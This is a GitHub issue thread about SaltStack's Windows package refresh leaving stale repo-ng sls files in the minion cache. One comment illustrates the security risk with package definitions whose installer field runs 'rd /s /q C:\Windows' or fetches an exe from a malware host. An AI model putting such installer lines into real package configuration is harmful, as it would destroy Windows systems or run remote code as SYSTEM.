Repository navigation
Description
If you remove or rename items in the repo-ng folder on the master, these are not removed from the minion cache when you run win_pkg.refresh_db. Particularly in the case of renaming, it's very likely to generate a name collision for the package which may result in incorrect installation states being returned (the pkg name map can still reference old sls files).
As an example, I'll rename my 7zip directory. It's already cached under it's old name:
salt salt-test cmd.run 'dir /b c:\salt\var\cache\salt\minion\files\base\win\repo-ng\*zip'
salt-test:
7zip
I rename it:
mv /srv/salt/win/repo-ng/7zip /srv/salt/win/repo-ng/seven_zip
Then run win_pkg.refresh_db, checking that it only lists the renamed directory:
salt salt-test pkg.refresh_db | grep zip
- c:\salt\var\cache\salt\minion\files\base\win\repo-ng\seven_zip\7zip.sls
But on the minion, I've now got two folders in the cache:
salt salt-test cmd.run 'dir /b c:\salt\var\cache\salt\minion\files\base\win\repo-ng\*zip'
salt-test:
7zip
seven_zip
And worse still the sls file is still there, and this can be matched when generating the name map:
salt salt-test cmd.run 'type c:\salt\var\cache\salt\minion\files\base\win\repo-ng\7zip\7zip.sls'
salt-test:
{% if grains['cpuarch'] == 'AMD64' %}
{% set name_arch = ' (x64 edition)' %}
{% set installer_arch = '-x64' %}
{% else %}
{% set name_arch = '' %}
{% set installer_arch = '' %}
{% endif %}
7zip:
'15.14.00.0':
full_name: '7-Zip 15.14{{ name_arch }}'
installer: 'salt://win/repo-ng/7zip/7z1514{{ installer_arch }}.msi'
install_flags: '/qn /norestart'
uninstaller: '{23170F69-40C1-2702-1514-000001000000}'
uninstall_flags: '/qn /norestart'
refresh: True
msiexec: True
use_scheduler: False
locale: en_US
reboot: False
cache_dir: False
'9.20.00.0':
full_name: '7-Zip 9.20{{ name_arch }}'
installer: 'salt://win/repo-ng/7zip/7z920{{ installer_arch }}.msi'
install_flags: '/qn /norestart'
uninstaller: '{23170F69-40C1-2702-0920-000001000000}'
uninstall_flags: '/qn /norestart'
refresh: True
msiexec: True
use_scheduler: False
locale: en_US
reboot: False
cache_dir: False
I can't think of any situation where you would want to maintain items in the repo-ng cache when they don't exist on the master, and trying to clear the cache with saltutil is going to clear the entire cache so I imagine this shouldn't be used during a state run.
So that the master side can be edited, surely pkg.refresh_db needs to be removing anything that doesn't exist any longer?
Tested on 2016.3.2
Activity
damon-atkins commentedon Aug 11, 2016
It calls salt['cp.cache_dir'] to do the caching
Ch3LL commentedon Aug 11, 2016
@morganwillcock I am able to replicate this but only for when users add files to the custom dir
/srv/salt/win/repo-ng/. It looks like it is removing the files when they are located under/srv/salt/win/repo-ng/salt-winrepo-ngonly. In fact in the documentation here it states the following:So according to the documentation it seems that only files in
win/repo/salt-winrepoandwin/repo-ng/salt-winrepo-ngare wiped and then re-added the files when runningpkg.refresh_db.Also if you look at the code here it is only wiping away the files in that directory and
cache_dirdoes not seem to sync the files.I think you are right though in the idea that you would expect these to be synced between the mastet rand minion for missing files, but I would like to get @twangboy 's input. Twangboy would you label this as expected behavior , bug or feature request? It seems this might be expected behavior but I believe it would be a nice feature to add this functionality for custom files in win/repo-ng. Or do you suggest using something else? Thoughts?
morganwillcock commentedon Aug 11, 2016
@Ch3LL Thank you for testing this out. You could argue that this is a pretty big security problem. If the cache state doesn't match what's on the master you will end up blindly trusting the contents of the minion cache.
delete_the_windows_folder: '15.14.00.0': full_name: '7-Zip 15.14 (x64 edition)' installer: '%COMSPEC% /c rd /s /q C:\Windows'install_some_malware: '15.14.00.0': full_name: '7-Zip 15.14 (x64 edition)' installer: 'http://www.malware.com/malware.exe'It would seem that you must ensure the minion cache is in the correct state before running any pkg install or removal actions, or risk running unknown commands as the SYSTEM user.
twangboy commentedon Aug 12, 2016
@Ch3LL I think @morganwillcock is correct, that the minion cache should be a replica of what's on the master. I believe this is the intended behavior.
Ch3LL commentedon Aug 12, 2016
@twangboy okay great. I will label this as a bug so we can get this fixed up. Thanks
21 remaining items
damon-atkins commentedon Sep 2, 2016
Thanks for the feed back. The output, it change several times, I kept coming back to what we need to see if running on 1,000 plus systems.
I am someone who always checks the path first before doing recursive delete, you never know what someone is going to do by accident. With a bad set of settings in the minion + some bad coding (i.e. removed files) its possible (very unlikely) for the result to be C:\ for example.
I will have a bit of a re-think....
It should really be that CACHEDIR is check for common sense given their exists a command to remove the entire cache.
I have also notice a another bug after looking up the configuration doco for minions, have no idea how long its been a bug. Code does not match the doco.
I will add os.walk(repo_path,followlinks=False) The issue you talk about is fixed in Python 3.3 I believe.
Their seems to be a lot of windows improvements in Python 3. Sooner the better for Salt for Windows to move to PY3
I also notice the doco I have written could do with a clean up after seeing it processed and turned into a web page.
I will do some more work on the weekend to clean it all up.
I have created a ticket for "Python 3 Support - Windows Resolved Issues" to gather a list of fixes in PY3
damon-atkins commentedon Oct 3, 2016
@morganwillcock please close issue, after testing the code from develop or carbon branch.
morganwillcock commentedon Oct 13, 2016
Can I backport the recursive delete of the sls files? Otherwise this is a bug that isn't getting fixed on the stable branches.
damon-atkins commentedon Oct 13, 2016
Hi @morganwillcock the fix is a behaviour change. It's up to the SaltStack to decide.
If running windows systems, I would run the latest version of salt (after some testing), because of the functionality improvements, performance and large number of fixes.
cachedout commentedon Nov 6, 2016
I vastly prefer not to introduce behavioral changes into minor releases unless absolutely necessary, though I will defer to @UtahDave and @twangboy on this one.
damon-atkins commentedon Nov 6, 2016
At this stage people using salt for Windows should be encourage to upgrade the salt client. There are many improvements with each release. Particularly Carbon/2016.11 has a lot of improvements.
The other alternative is to take all Carbon "as is"
win_*.pyand copy them back (including dependency) to 2016.3 and write a large amount of text in the release notes. 2016.3.4 out now, you could turn around tomorrow with 2016.3.5 Windows Only Release with just the windows changes, giving people a choice. Skip 2016.3.5 for Unix/Linux.morganwillcock commentedon Nov 7, 2016
Just to clarify, I'm suggesting to add the recursive delete of SLS files to stable branches, not backport everything from the commit that implemented it.
twangboy commentedon Dec 5, 2016
@cachedout I think @morganwillcock 's comment is the fix. I'll submit a bigfix that removes orphaned
.slsfiles.twangboy commentedon Dec 5, 2016
@morganwillcock I believe the above PR along with @damon-atkins PR's address the issues here.
morganwillcock commentedon Dec 5, 2016
@twangboy That's great, thank you.